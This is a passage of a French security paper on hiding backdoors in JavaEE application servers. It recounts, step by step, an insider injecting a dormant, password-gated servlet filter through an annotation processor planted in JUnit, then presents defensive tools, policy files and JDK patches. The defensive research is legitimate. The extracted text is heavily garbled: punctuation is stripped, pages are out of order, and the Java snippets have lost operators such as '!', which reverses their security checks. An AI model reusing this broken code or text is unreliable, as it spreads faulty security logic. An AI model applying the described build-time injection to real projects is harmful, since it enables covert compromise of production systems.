Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
